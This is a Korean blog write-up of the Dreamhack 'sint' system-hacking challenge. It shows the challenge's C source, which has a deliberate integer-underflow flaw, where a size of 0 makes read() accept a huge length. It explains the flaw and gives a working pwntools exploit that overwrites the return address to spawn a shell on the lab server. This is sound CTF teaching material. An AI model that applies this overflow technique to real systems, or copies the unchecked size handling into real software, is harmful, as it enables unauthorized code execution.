Dreamhack/System Hacking

[Dreamhack] sint

amoogotomollayo 2022. 2. 23. 15:43

1. 문제 정보

2. 문제 파일

더보기
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell()
{
    system("/bin/sh");
}

int main()
{
    char buf[256];
    int size;

    initialize();

    signal(SIGSEGV, get_shell);

    printf("Size: ");
    scanf("%d", &size);

    if (size > 256 || size < 0)
    {
        printf("Buffer Overflow!\n");
        exit(0);
    }

    printf("Data: ");
    read(0, buf, size - 1);

    return 0;
}

문제에서 제공되는 소스 코드입니다.

3. 문제 풀이

더보기
    printf("Size: ");
    scanf("%d", &size);

    if (size > 256 || size < 0)
    {
        printf("Buffer Overflow!\n");
        exit(0);
    }

    printf("Data: ");
    read(0, buf, size - 1);

사용자가 입력한 사이즈가 0보다 작거나 256보다 크면 프로세스가 종료되고 아니라면 read 함수를 통해 buf 배열에 데이터를 입력할 수 있습니다.

이때 read 함수의 3번째 인자의 자료형은 size_t로 부호 없는 정수이기 때문에 만약 size가 0이라면 read 함수에서는 size - 1 = 2^32 - 1이 되어 버퍼 오버 플로우 공격을 할 수 있게 됩니다.

Return Address를 get_shell 주소로 변조시켜 셸을 실행시키면 문제를 해결할 수 있습니다.

 

 

코드와 결과는 아래와 같습니다.

from pwn import *

context.log_level = 'debug'

r = remote("host1.dreamhack.games", 15860)

get_shell = 0x08048659

r.sendlineafter("Size: ", "0")
r.send(b"A" * 0x100 + b"B" * 0x4 + p32(get_shell))

r.interactive()